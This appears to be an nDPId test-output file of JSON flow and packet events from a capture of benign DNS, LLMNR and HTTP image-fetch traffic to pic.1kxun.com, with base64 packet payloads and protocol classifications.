+00522{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":115963,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"ABxCjnAxTF4M6gNlCABFAAB7GLEAAC4RMAEICAgIwKhzCAA17TQAZ+zhKZCBgAABAAQAAAAAA3BpYwUxa3h1bgNjb20AAAEAAcAMAAEAAQAAAlcABGq7I\/bADAABAAEAAAJXAASAx7rowAwAAQABAAACVwAEgMdvqcAMAAEAAQAAAlcABGq6Ezo="} +00661{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":71,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":3,"flow_first_seen":1470104379066,"flow_last_seen":1470104379115,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":39,"flow_max_l4_data_len":103,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"8.8.8.8","src_port":60724,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Streaming"},"dns": {"query":"pic.1kxun.com","num_queries":1,"num_answers":4,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"106.187.35.246"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":72,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1470104379117,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"106.187.35.246","src_port":49599,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":117273,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UdRAAIAG5o3AqHMIarsj9sG\/AFBFF77fAAAAAIACIADHbwAAAgQE7AEDAwgBAQQC"} +00423{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":117309,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UdRAAIAG5o3AqHMIarsj9sG\/AFBFF77fAAAAAIACIADHbwAAAgQE7AEDAwgBAQQC"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":74,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1470104379117,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"106.187.35.246","src_port":49600,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":117772,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UdVAAIAG5ozAqHMIarsj9sHAAFAm5\/RZAAAAAIACIACwJAAAAgQE7AEDAwgBAQQC"} +00423{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":117826,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UdVAAIAG5ozAqHMIarsj9sHAAFAm5\/RZAAAAAIACIACwJAAAAgQE7AEDAwgBAQQC"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":76,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1470104379118,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"106.187.35.246","src_port":49601,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":118171,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UdZAAIAG5ovAqHMIarsj9sHBAFDavRsQAAAAAIACIADVlgAAAgQE7AEDAwgBAQQC"} +00422{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":118197,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UdZAAIAG5ovAqHMIarsj9sHBAFDavRsQAAAAAIACIADVlgAAAgQE7AEDAwgBAQQC"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":78,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1470104379118,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"106.187.35.246","src_port":49602,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":118544,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UddAAIAG5orAqHMIarsj9sHCAFAX8\/CKAAAAAIACIADC5QAAAgQE7AEDAwgBAQQC"} +00423{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":118574,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UddAAIAG5orAqHMIarsj9sHCAFAX8\/CKAAAAAIACIADC5QAAAgQE7AEDAwgBAQQC"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":80,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1470104379118,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"106.187.35.246","src_port":49603,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":118972,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UdhAAIAG5onAqHMIarsj9sHDAFDIiN5cAAAAAIACIAAkfQAAAgQE7AEDAwgBAQQC"} +00422{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":119006,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UdhAAIAG5onAqHMIarsj9sHDAFDIiN5cAAAAAIACIAAkfQAAAgQE7AEDAwgBAQQC"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":82,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1470104379119,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"106.187.35.246","src_port":49604,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":119336,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UdlAAIAG5ojAqHMIarsj9sHEAFAS7Ia1AAAAAIACIAAxwAAAAgQE7AEDAwgBAQQC"} +00422{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":119373,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UdlAAIAG5ojAqHMIarsj9sHEAFAS7Ia1AAAAAIACIAAxwAAAAgQE7AEDAwgBAQQC"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":84,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1470104379169,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::e98f:bae2:19f7:6b0f","dst_ip":"ff02::1:3","src_port":54888,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":169121,"pkt_caplen":92,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":92,"pkt_l4_len":38,"pkt":"MzMAAQAD\/PiuMpcsht1gAAAAACYRAf6AAAAAAAAA6Y+64hn3aw\/\/AgAAAAAAAAAAAAAAAQAD1mgU6wAmi+DsIAAAAAEAAAAAAAAM5bCP5L2b5bCI5qmfAAD\/AAE="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":84,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1470104379169,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::e98f:bae2:19f7:6b0f","dst_ip":"ff02::1:3","src_port":54888,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":85,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1470104379169,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.95","dst_ip":"224.0.0.252","src_port":54888,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":169283,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"AQBeAAD8\/PiuMpcsCABFAAA6KxkAAAER6ZbAqANf4AAA\/NZoFOsAJg3d7CAAAAABAAAAAAAADOWwj+S9m+WwiOapnwAA\/wAB"} +00504{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":85,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1470104379169,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.95","dst_ip":"224.0.0.252","src_port":54888,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00422{"flow_id":28,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":169717,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0AABAADYGgmJquyP2wKhzCABQwcB6nEL4Juf0WoASchCfpwAAAgQFtAEBBAIBAwMH"} +00407{"flow_id":28,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":169902,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUdpAAIAG5pPAqHMIarsj9sHAAFAm5\/RaepxC+VAQAQRRhgAA"} +00407{"flow_id":28,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":169934,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUdpAAIAG5pPAqHMIarsj9sHAAFAm5\/RaepxC+VAQAQRRhgAA"} +00422{"flow_id":32,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":170066,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0AABAADYGgmJquyP2wKhzCABQwcSHsZvpEuyGtoASchC7PAAAAgQFtAEBBAIBAwMH"} +00406{"flow_id":32,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":170186,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUdtAAIAG5pLAqHMIarsj9sHEAFAS7Ia2h7Gb6lAQAQRtGwAA"} +00406{"flow_id":32,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":170212,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUdtAAIAG5pLAqHMIarsj9sHEAFAS7Ia2h7Gb6lAQAQRtGwAA"} +00422{"flow_id":29,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":170277,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0AABAADYGgmJquyP2wKhzCABQwcHaep2g2r0bEYASchAKkwAAAgQFtAEBBAIBAwMH"} +00406{"flow_id":29,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":170422,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUdxAAIAG5pHAqHMIarsj9sHBAFDavRsR2nqdoVAQAQS8cQAA"} +00406{"flow_id":29,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":170444,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUdxAAIAG5pHAqHMIarsj9sHBAFDavRsR2nqdoVAQAQS8cQAA"} +00423{"flow_id":27,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":170482,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0AABAADYGgmJquyP2wKhzCABQwb\/T2SVtRRe+4IASchB7QAAAAgQFtAEBBAIBAwMH"} +00407{"flow_id":27,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":170578,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUd1AAIAG5pDAqHMIarsj9sG\/AFBFF77g09klblAQAQQtHwAA"} +00407{"flow_id":27,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":170601,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUd1AAIAG5pDAqHMIarsj9sG\/AFBFF77g09klblAQAQQtHwAA"} +00423{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":173117,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0AABAADYGgmJquyP2wKhzCABQwcLBVjGFF\/Pwi4ASchB9IQAAAgQFtAEBBAIBAwMH"} +00408{"flow_id":30,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":173286,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUd5AAIAG5o\/AqHMIarsj9sHCAFAX8\/CLwVYxhlAQAQQvAAAA"} +00409{"flow_id":30,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":173327,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUd5AAIAG5o\/AqHMIarsj9sHCAFAX8\/CLwVYxhlAQAQQvAAAA"} +00423{"flow_id":31,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":173449,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0AABAADYGgmJquyP2wKhzCABQwcMVSXssyIjeXYASchBBHwAAAgQFtAEBBAIBAwMH"} +00408{"flow_id":31,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":173557,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUd9AAIAG5o7AqHMIarsj9sHDAFDIiN5dFUl7LVAQAQTy\/QAA"} +00408{"flow_id":31,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":173583,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUd9AAIAG5o7AqHMIarsj9sHDAFDIiN5dFUl7LVAQAQTy\/QAA"} +00895{"flow_id":28,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":175159,"pkt_caplen":416,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":416,"pkt_l4_len":382,"pkt":"TF4M6gNlABxCjnAxCABFAAGSUeBAAIAG5SPAqHMIarsj9sHAAFAm5\/RaepxC+VAYAQT9+QAAR0VUIC92aWRlb19rYW5rYW4vaW1hZ2VzL3ZpZGVvcy8xODI4My1qZnlqMy5qcGcgSFRUUC8xLjENCkhvc3Q6IHBpYy4xa3h1bi5jb20NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkFjY2VwdDogKi8qDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjEpIEFwcGxlV2ViS2l0LzUzNy4yMiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8yNS4wLjEzNjQuMTUyIFNhZmFyaS81MzcuMjINClJlZmVyZXI6IGh0dHA6Ly9hZC4xa3h1bi5jb20vbWFjDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbg0KQWNjZXB0LUNoYXJzZXQ6IGlzby04ODU5LTEsKix1dGYtOA0KDQo="} +00777{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":104,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":6,"flow_first_seen":1470104379117,"flow_last_seen":1470104379175,"flow_tot_l4_data_len":518,"flow_min_l4_data_len":20,"flow_max_l4_data_len":382,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"106.187.35.246","src_port":49600,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"pic.1kxun.com","url":"pic.1kxun.com\/video_kankan\/images\/videos\/18283-jfyj3.jpg","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.22 (KHTML, like Gecko) Chrome\/25.0.1364.152 Safari\/537.22"}} +00895{"flow_id":27,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":175159,"pkt_caplen":415,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":415,"pkt_l4_len":381,"pkt":"TF4M6gNlABxCjnAxCABFAAGRUeFAAIAG5SPAqHMIarsj9sG\/AFBFF77g09klblAYAQQeiwAAR0VUIC92aWRlb19rYW5rYW4vaW1hZ2VzL3ZpZGVvcy8xMzQ4MC1hbHBzLmpwZyBIVFRQLzEuMQ0KSG9zdDogcGljLjFreHVuLmNvbQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQWNjZXB0OiAqLyoNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMSkgQXBwbGVXZWJLaXQvNTM3LjIyIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzI1LjAuMTM2NC4xNTIgU2FmYXJpLzUzNy4yMg0KUmVmZXJlcjogaHR0cDovL2FkLjFreHVuLmNvbS9tYWMNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCxkZWZsYXRlDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzLGVuDQpBY2NlcHQtQ2hhcnNldDogaXNvLTg4NTktMSwqLHV0Zi04DQoNCg=="} +00776{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":105,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":6,"flow_first_seen":1470104379117,"flow_last_seen":1470104379175,"flow_tot_l4_data_len":517,"flow_min_l4_data_len":20,"flow_max_l4_data_len":381,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"106.187.35.246","src_port":49599,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"pic.1kxun.com","url":"pic.1kxun.com\/video_kankan\/images\/videos\/13480-alps.jpg","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.22 (KHTML, like Gecko) Chrome\/25.0.1364.152 Safari\/537.22"}} 